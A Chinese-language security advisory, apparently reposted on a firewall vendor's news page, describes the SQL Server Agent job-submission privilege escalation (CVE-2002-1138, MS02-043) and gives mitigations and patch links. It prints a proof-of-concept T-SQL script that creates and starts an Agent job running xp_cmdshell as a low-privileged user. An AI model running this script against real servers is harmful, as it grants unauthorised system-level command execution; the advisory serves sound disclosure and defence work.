English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> Microsoft SQL Server Agent作业提交漏洞

 

Microsoft SQL Server Agent作业提交漏洞

威盾防火墙 2014-12-09

 

 受影响系统:

  Microsoft SQL Server 2000

  - Microsoft Windows NT 4.0

  - Microsoft Windows 2000 SP3

  Microsoft SQL Server 7.0

  - Microsoft Windows NT 4.0

  - Microsoft Windows 2000 SP3

  Microsoft SQL Server Desktop Engine (MSDE) 1.0

  - Microsoft Windows NT 4.0

  - Microsoft Windows 2000 SP3

  Microsoft SQL Server Desktop Engine 2000

  - Microsoft Windows NT 4.0

  - Microsoft Windows 2000 SP3

  描述:

  BUGTRAQ ID: 5483

  CVE ID: CVE-2002-1138

  Microsoft SQL Server是微软公司开发的一套商业数据库系统,应用在Microsoft Windows系统下。SQL Server 7.0和2000带了一个助手服务 - SQL Server Agent。这个代理程序用来在数据库意外停止之后重启之,另外,它也负责处理提交的作业。

  通过提交一些作业让Agent执行,可能导致低权限用户执行它们进而完全控制数据库系统。

  通过msdb数据库中的一些存储过程例如sp_add_job、sp_add_job_step等等,用户就可以提交作业让SQL Server Agent执行。由于SQL Server Agent在一个更高的权限下运行,通常是Local System权限,必须保证当提交一个T-SQL作业时它不能被滥用。因此管理员可以使用如下命令来防止这种攻击:

  SETUSER N'guest' WITH NORESET

  这样普通的低级别用户将不能提交这样的作业(执行系统命令):

  exec master..xp_cmdshell 'dir'

  但这种限制很容被绕过,只需要在SQL Server Agent丢弃权限后重新连接到SQL Server即可。而结合“Microsoft SQL Server扩展存储过程权限提升漏洞”( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=3313 )中提到的几个扩展存储过程即可绕过这种限制。

  <*来源:David Litchfield ([email protected])

  链接:http://www.ngssoftware.com/advisories/mssql-esppu.txt

  http://www.microsoft.com/technet/security/bulletin/MS02-043.asp

  *>

  测试方法:

  警 告

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

  David Litchfield ([email protected])提供了如下测试方法:

  -- GetSystemOnSQL

  -- For this to work the SQL Agent should be running.

  -- Further, you'll need to change SERVER_NAME in

  -- sp_add_jobserver to the SQL Server of your choice

  --


  -- David Litchfield

  -- ([email protected])

  -- 18th July 2002

  USE msdb

  EXEC sp_add_job @job_name = 'GetSystemOnSQL',

  @enabled = 1,

  @description = 'This will give a low privileged user access to

  xp_cmdshell',

  @delete_level = 1

  EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',

  @step_name = 'Exec my sql',

  @subsystem = 'TSQL',

  @command = 'exec master..xp_execresultset N''select ''''exec

  master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''

  EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',

  @server_name = 'SERVER_NAME'

  EXEC sp_start_job @job_name = 'GetSystemOnSQL'

  建议:

  临时解决方法:

  如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

  * 数据库管理员应该禁止对MSDB数据库中的下列存储过程的公开(public)访问权限:

  sp_add_job

  sp_add_jobstep

  sp_add_jobserver

  sp_start_job

  厂商补丁:

  Microsoft

  ---------

  Microsoft已经为此发布了一个安全公告(MS02-043)以及相应补丁:

  MS02-043:Cumulative Patch for SQL Server (Q316333)

  链接:http://www.microsoft.com/technet/security/bulletin/MS02-043.asp

  补丁下载:

  * Microsoft SQL Server 7.0

  http://www.microsoft.com/Release.asp?ReleaseID=Q327068

  * Microsoft SQL Server 2000

  http://www.microsoft.com/Release.asp?ReleaseID=Q316333


相关内容: 最新内容:
SQL Server中保护数据的安全选项[2014-12-09]
如何在SQL Server数据库中加密数据[2014-12-09]
SQL Server 2012安全性:功能更新[2014-12-09]
审计SQL Server安全性的几种方式[2014-12-09]
构造SQL Server安全门之途[2014-12-09]
Web安全访问SQL Server[2014-12-09]
SQL Server中保护数据的安全选项[2014-12-09]
如何在SQL Server数据库中加密数据[2014-12-09]
SQL Server 2012安全性:功能更新[2014-12-09]
史上最牛的10大计算机病毒[2014-12-09]
审计SQL Server安全性的几种方式[2014-12-09]
构造SQL Server安全门之途[2014-12-09]